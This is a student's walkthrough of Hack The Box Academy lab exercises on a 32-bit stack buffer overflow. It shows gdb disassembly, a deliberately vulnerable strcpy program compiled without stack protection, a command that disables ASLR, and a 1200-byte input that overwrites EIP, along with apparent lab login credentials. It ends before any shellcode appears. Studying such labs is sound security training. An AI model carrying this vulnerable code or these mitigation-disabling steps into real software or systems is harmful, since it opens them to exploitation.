PRACTICAL EXERCISES
STACK-BASED BUFFER OVERFLOW
At which address in the "main" function is the "bowfunc" function called?
METHOD 1:
student@htb:~$ ssh [email protected]
htb-student:HTB_@cademy_stdnt!
student@htb:~$ gdb -q ./stackBasedBufferOverflow
Reading symbols from bow...(no debugging symbols found)...done.
//set display to intel syntax
(gdb) set disassembly-flavor intel
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00000398 _init
0x000003d0 strcpy@plt
0x000003e0 puts@plt
0x000003f0 __libc_start_main@plt
0x00000400 __cxa_finalize@plt
0x00000408 __gmon_start__@plt
0x00000410 _start
0x00000450 __x86.get_pc_thunk.bx
0x00000460 deregister_tm_clones
0x000004a0 register_tm_clones
0x000004f0 __do_global_dtors_aux
0x00000540 frame_dummy
0x00000549 __x86.get_pc_thunk.dx
0x0000054d bowfunc
0x00000582 main
0x000005d3 __x86.get_pc_thunk.ax
0x000005e0 __libc_csu_init
0x00000640 __libc_csu_fini
0x00000644 _fini
(gdb) break *main
Breakpoint 1 at 0x582
(gdb) disassemble main
Dump of assembler code for function main:
0x00000582 <+0>: lea ecx,[esp+0x4]
0x00000586 <+4>: and esp,0xfffffff0
0x00000589 <+7>: push DWORD PTR [ecx-0x4]
0x0000058c <+10>: push ebp
0x0000058d <+11>: mov ebp,esp
0x0000058f <+13>: push ebx
0x00000590 <+14>: push ecx
0x00000591 <+15>: call 0x450 <__x86.get_pc_thunk.bx>
0x00000596 <+20>: add ebx,0x1a3e
0x0000059c <+26>: mov eax,ecx
0x0000059e <+28>: mov eax,DWORD PTR [eax+0x4]
0x000005a1 <+31>: add eax,0x4
0x000005a4 <+34>: mov eax,DWORD PTR [eax]
0x000005a6 <+36>: sub esp,0xc
0x000005a9 <+39>: push eax
0x000005aa <+40>: call 0x54d <bowfunc>
0x000005af <+45>: add esp,0x10
0x000005b2 <+48>: sub esp,0xc
0x000005b5 <+51>: lea eax,[ebx-0x1974]
0x000005bb <+57>: push eax
0x000005bc <+58>: call 0x3e0 <puts@plt>
0x000005c1 <+63>: add esp,0x10
0x000005c4 <+66>: mov eax,0x1
0x000005c9 <+71>: lea esp,[ebp-0x8]
0x000005cc <+74>: pop ecx
0x000005cd <+75>: pop ebx
0x000005ce <+76>: pop ebp
0x000005cf <+77>: lea esp,[ecx-0x4]
0x000005d2 <+80>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
METHOD 2: ALTERNATE
student@htb:~$ nano stackBasedBufferOverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int bowfunc(char *string) {
char buffer[1024];
strcpy(buffer, string); //strcpy is a vulnerable function as it does not perform any bounds checking on the destination buffer.
return 1;
}
int main(int argc, char *argv[])
{
bowfunc(argv[1]);
printf("Done.\n");
return 1;
}
student@htb:~$ sudo apt install gcc-multilib
student@htb:~$ gcc -m32 stackBasedBufferOverflow.c -o stackBasedBufferOverflow -fno-stack-protector -z execstack
student@htb:~$ file bow32 | tr "," "\n"
bow: ELF 32-bit LSB shared object
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
not stripped
* gcc-multilib is a package that allows compiling 32-bit programs on a 64-bit system.
* -fno-stack-protector disables GCC’s stack protection mechanisms such as stack canaries.
* the -z execstack marks the program’s stack as executable
//TEMPORARILY DISABLE ASLR
student@htb:~$ sudo su
root@htb:~$ echo 0 > /proc/sys/kernel/randomize_va_space
root@htb:~$ cat /proc/sys/kernel/randomize_va_space
0
* modern OS have built-in protections against such vulnerabilities to
include (ASLR)
student@htb:~$ gdb -q ./stackBasedBufferOverflow
Reading symbols from bow...(no debugging symbols found)...done.
//set display to intel syntax
(gdb) set disassembly-flavor intel
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00000398 _init
0x000003d0 strcpy@plt
0x000003e0 puts@plt
0x000003f0 __libc_start_main@plt
0x00000400 __cxa_finalize@plt
0x00000408 __gmon_start__@plt
0x00000410 _start
0x00000450 __x86.get_pc_thunk.bx
0x00000460 deregister_tm_clones
0x000004a0 register_tm_clones
0x000004f0 __do_global_dtors_aux
0x00000540 frame_dummy
0x00000549 __x86.get_pc_thunk.dx
0x0000054d bowfunc
0x00000582 main
0x000005d3 __x86.get_pc_thunk.ax
0x000005e0 __libc_csu_init
0x00000640 __libc_csu_fini
0x00000644 _fini
(gdb) break *main
Breakpoint 1 at 0x582
(gdb) disassemble main
Dump of assembler code for function main:
0x00000582 <+0>: lea ecx,[esp+0x4]
0x00000586 <+4>: and esp,0xfffffff0
0x00000589 <+7>: push DWORD PTR [ecx-0x4]
0x0000058c <+10>: push ebp
0x0000058d <+11>: mov ebp,esp
0x0000058f <+13>: push ebx
0x00000590 <+14>: push ecx
0x00000591 <+15>: call 0x450 <__x86.get_pc_thunk.bx>
0x00000596 <+20>: add ebx,0x1a3e
0x0000059c <+26>: mov eax,ecx
0x0000059e <+28>: mov eax,DWORD PTR [eax+0x4]
0x000005a1 <+31>: add eax,0x4
0x000005a4 <+34>: mov eax,DWORD PTR [eax]
0x000005a6 <+36>: sub esp,0xc
0x000005a9 <+39>: push eax
0x000005aa <+40>: call 0x54d <bowfunc>
0x000005af <+45>: add esp,0x10
0x000005b2 <+48>: sub esp,0xc
0x000005b5 <+51>: lea eax,[ebx-0x1974]
0x000005bb <+57>: push eax
0x000005bc <+58>: call 0x3e0 <puts@plt>
0x000005c1 <+63>: add esp,0x10
0x000005c4 <+66>: mov eax,0x1
0x000005c9 <+71>: lea esp,[ebp-0x8]
0x000005cc <+74>: pop ecx
0x000005cd <+75>: pop ebx
0x000005ce <+76>: pop ebp
0x000005cf <+77>: lea esp,[ecx-0x4]
0x000005d2 <+80>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
TAKE CONTROL OF EIP
Examine the registers and submit the address of EBP as the answer. Rephrased question: Given the 32-bit binary bow32 which contains a vulnerable function that copies user input into a fixed-size stack buffer without bounds checking. Your task is to examine the program in a controlled debugging environment to determine the saved base pointer (EBP) after a buffer overflow.
METHOD 2: ALTERNATE
student@htb:~$ nano bow32.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int bowfunc(char *string) {
char buffer[1024];
strcpy(buffer, string); //strcpy is a vulnerable function as it does not perform any bounds checking on the destination buffer.
return 1;
}
int main(int argc, char *argv[])
{
bowfunc(argv[1]);
printf("Done.\n");
return 1;
}
student@htb:~$ sudo apt install gcc-multilib
student@htb:~$ gcc -m32 stackBasedBufferOverflow.c -o stackBasedBufferOverflow -fno-stack-protector -z execstack
student@htb:~$ file bow32 | tr "," "\n"
bow: ELF 32-bit LSB shared object
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
not stripped
* gcc-multilib is a package that allows compiling 32-bit programs on a 64-bit system.
* -fno-stack-protector disables GCC’s stack protection mechanisms such as stack canaries.
* the -z execstack marks the program’s stack as executable
student@htb:~$ gdb -q bow32
Reading symbols from bow32...
(No debugging symbols found in bow32)
(gdb) run $(python -c "print('\x55' * 1200)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-ac-53539/bow32 $(python -c "print('\x55' * 1200)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
(gdb) info registers
eax 0x1 1
ecx 0xffffd260 -11680
edx 0xffffcba2 -13406
ebx 0x55555555 1431655765
esp 0xffffcb10 0xffffcb10
ebp 0x55555555 0x55555555
esi 0x56558eec 1448447724
edi 0xf7ffcb80 -134231168
eip 0x55555555 0x55555555
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
DETERMINE THE LENGTH FOR SHELLCODE
Last updated